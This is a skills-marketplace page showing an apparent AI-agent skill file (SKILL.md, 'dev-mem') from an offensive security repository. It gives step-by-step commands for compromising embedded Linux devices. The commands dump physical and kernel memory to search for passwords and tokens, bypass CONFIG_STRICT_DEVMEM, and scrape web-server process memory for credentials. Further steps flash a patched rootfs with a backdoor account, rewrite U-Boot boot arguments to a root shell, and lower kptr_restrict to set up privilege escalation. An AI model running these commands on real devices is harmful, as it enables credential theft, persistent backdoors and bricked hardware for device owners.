Skip to main content

dev-mem

Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
30. Mai 2026 um 11:59
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
dev-mem
description
Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"/dev/mem, /dev/kmem, MTD write, mtd_debug, flashcp, memory patch, runtime patch, kernel memory, /proc/kallsyms, devmem2, embedded memory access, live firmware patch","tags":"iot, devmem, kmem, mtd, flashcp, memory-patching, kallsyms, embedded-linux, runtime, kernel","mitre_attack":"T1601.001, T1601.002, T1068, T1543"}
# /dev/mem, /dev/kmem, and MTD Runtime Patching > On embedded Linux, physical memory and raw flash are often accessible > as character devices. Combined with /proc/kallsyms for kernel symbol > resolution, these interfaces allow runtime rootkit injection, credential > extraction, and live firmware modification without touching the filesystem. ## Prerequisites - Shell access on the target (obtained via UART/SSH/telnet or post-exploitation). - Target runs Linux (confirms with `uname -a`). - Check access: `ls -la /dev/mem /dev/kmem /dev/mtd*`. - Tools: `devmem2` (or `/dev/mem` via dd), `mtd_debug`, `flashcp`, `busybox devmem`. ```bash # Confirm device nodes exist ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null # Confirm kernel version and MTD subsystem uname -a cat /proc/mtd ``` --- ## Phase 1 — Physical Memory Read via /dev/mem ### 1a. devmem2 (most common embedded tool) ```bash # Read 4-byte word at physical address 0x10000000 devmem2 0x10000000 w # Read byte at address devmem2 0x10000000 b # Write 4-byte word (use carefully — can crash SoC peripherals) devmem2 0x10000000 w 0xDEADBEEF # BusyBox devmem (same syntax on BusyBox builds) busybox devmem 0x10000000 32 ``` ### 1b. dd + /dev/mem ```bash # Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM) dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin # Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000) dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd # Search physical RAM for a string (e.g., password, key material) strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20 # Dump first 32MB of DRAM to exfil dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin ``` ### 1c. Bypass CONFIG_STRICT_DEVMEM Kernels with `CONFIG_STRICT_DEVMEM=y` block non-MMIO physical addresses. ```bash # Check if restriction is active dmesg 2>/dev/null | grep -i "devmem\|mem: Checking" # Bypass A: MMIO regions are always permitted — map peripheral registers # GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks. # Bypass B: Use /proc/kcore (virtual kernel memory, may still be available) dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null # Bypass C: Kernel module injection via /dev/kmem (see Phase 2) # Bypass D: mmap /proc/<pid>/mem of a privileged process # (works when CAP_SYS_PTRACE is available) cat /proc/1/maps | grep heap dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null ``` --- ## Phase 2 — Kernel Memory via /dev/kmem `/dev/kmem` exposes virtual kernel address space. Available on older kernels (pre-3.7) or when compiled without `CONFIG_DEVKMEM=n`. ```bash # Check kernel virtual addresses from kallsyms # (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging) cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred' # Example: ffffffff81801460 R sys_call_table # Read kernel symbol value via /dev/kmem SYM_ADDR=0xffffffff81801460 dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd # Patch a kernel variable (e.g., set uid to 0 for current process) # WARNING: wrong address = immediate kernel panic # Use devmem2 with the virtual address: devmem2 $SYM_ADDR q # quad-word read (64-bit) ``` ### 2a. Extract kernel credentials from /proc/kcore ```bash # /proc/kcore is ELF-formatted kernel memory snapshot # Use volatility3 with a Linux profile if available: vol -f /proc/kcore linux.bash.Bash # recover bash history from kernel vol -f /proc/kcore linux.pslist.PsList # Manual: search for credential structures strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20 ``` --- ## Phase 3 — MTD Raw Flash Access MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux, `/dev/mtd*` (char) and `/dev/mtdblock*` (block) devices are the primary paths for read/write access to firmware partitions. ### 3a. Partition enumeration ```bash # List all MTD partitions with sizes and names cat /proc/mtd # Example output: # dev: size erasesize name # mtd0: 00040000 00010000 "u-boot" # mtd1: 00010000 00010000 "u-boot-env" # mtd2: 00200000 00010000 "kernel" # mtd3: 00600000 00010000 "rootfs" # mtd4: 00200000 00010000 "storage" ``` ### 3b. Dump MTD partition ```bash # Method A: dd from block device dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512 # Method B: mtd_debug read (preferred — handles bad blocks on NAND) mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin # Method C: nanddump (NAND-aware, includes OOB handling) nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin ``` ### 3c. Write (patch) an MTD partition ```bash # DANGER: Writing to wrong partition bricks the device. # Always verify partition map and backup before writing. # Step 1: Backup the partition to be patched mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256 # Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd) # Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin # Step 3: Erase the MTD partition (REQUIRED before write on NOR flash) flash_erase /dev/mtd3 0 0 # erase entire partition # Or with mtd_debug: mtd_debug erase /dev/mtd3 0 $((0x600000)) # Step 4: Write patched image flashcp -v /tmp/rootfs_patched.bin /dev/mtd3 # Or mtd_debug write: mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin # Step 5: Verify write mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH" ``` ### 3d. U-Boot environment modification via MTD ```bash # U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env") UBOOT_ENV_MTD=/dev/mtd1 # Dump current env dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin # Decode: first 4 bytes = CRC32, then null-delimited key=value pairs python3 -c " import struct, zlib data = open('/tmp/uboot_env.bin','rb').read() crc_stored = struct.unpack('<I', data[:4])[0] crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}') env = data[4:].split(b'\\x00') for e in env: if e: print(e.decode(errors='replace')) " # Modify env and rewrite with correct CRC python3 << 'EOF' import struct, zlib env_vars = { "bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh", "bootcmd": "run bootlinux", # add more vars as needed } # Build null-delimited env block (standard U-Boot env size = 64KB) ENV_SIZE = 0x10000 payload = b"" for k, v in env_vars.items(): payload += f"{k}={v}\x00".encode() payload += b"\x00" payload = payload.ljust(ENV_SIZE - 4, b"\xff") crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF) with open("/tmp/uboot_env_patched.bin", "wb") as f: f.write(crc + payload) print("Patched env written") EOF # Flash patched env flash_erase /dev/mtd1 0 0 flashcp /tmp/uboot_env_patched.bin /dev/mtd1 ``` --- ## Phase 4 — Live Process Memory Access ```bash # List running processes with memory maps cat /proc/1/maps # init/systemd # Identify heap/stack regions # Read from process memory (requires same UID or root) # Read 256 bytes at heap start of PID 1234 HEAP_START=0x00400000 # from /proc/1234/maps dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null # Search for credentials in web server process memory (lighttpd / httpd) WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd) strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20 # GDB (if available) — attach to running process gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \ 2>/dev/null | grep -iE 'password|secret|key' ``` --- ## Phase 5 — /proc/kallsyms Exploitation ```bash # Read symbol table (requires root or kernel.kptr_restrict=0) cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux' # Check kptr_restrict setting cat /proc/sys/kernel/kptr_restrict # 0 = all addresses visible, 1 = visible to root, 2 = hidden always # Lower restriction (if writable — common on IoT with permissive sysctl) echo 0 > /proc/sys/kernel/kptr_restrict # Use symbol addresses for kernel exploit primitives # commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc # (pass to kernel module or mmap-based shellcode) ``` --- ## Evidence ```bash EVDIR=/workspace/evidence/iot/<target>/devmem mkdir -p "$EVDIR" cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256" echo "MTD partition map:" >> "$EVDIR/notes.txt" cat /proc/mtd >> "$EVDIR/notes.txt" echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt" cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt" ``` ## OPSEC Notes - MTD erase+write operations are irreversible if the backup is lost. Keep the backup in `/workspace/evidence/` before any write operation. - Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no software recovery path. Triple-check partition map from `/proc/mtd` before writing. - `/dev/mem` reads of active MMIO registers (UART, SPI, GPIO) can interfere with peripheral operation and may trigger watchdog resets. - On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access may generate audit log entries visible to the vendor's telemetry pipeline. - MTD writes generate wear on flash cells; each erase cycle degrades the chip. Limit writes to the minimum needed; document all writes for device-return procedures. ## References - mtd-utils documentation: `https://github.com/sigma-star/mtd-utils` - Linux MTD subsystem: `https://www.linux-mtd.infradead.org/doc/general.html` - devmem2 tool: `https://github.com/VCTLabs/devmem2` - Kernel exploitation via /dev/mem: `references/devmem-kernel-exploit.md` - U-Boot env format: `https://u-boot.readthedocs.io/en/latest/usage/environment.html`
Auf GitHub ansehen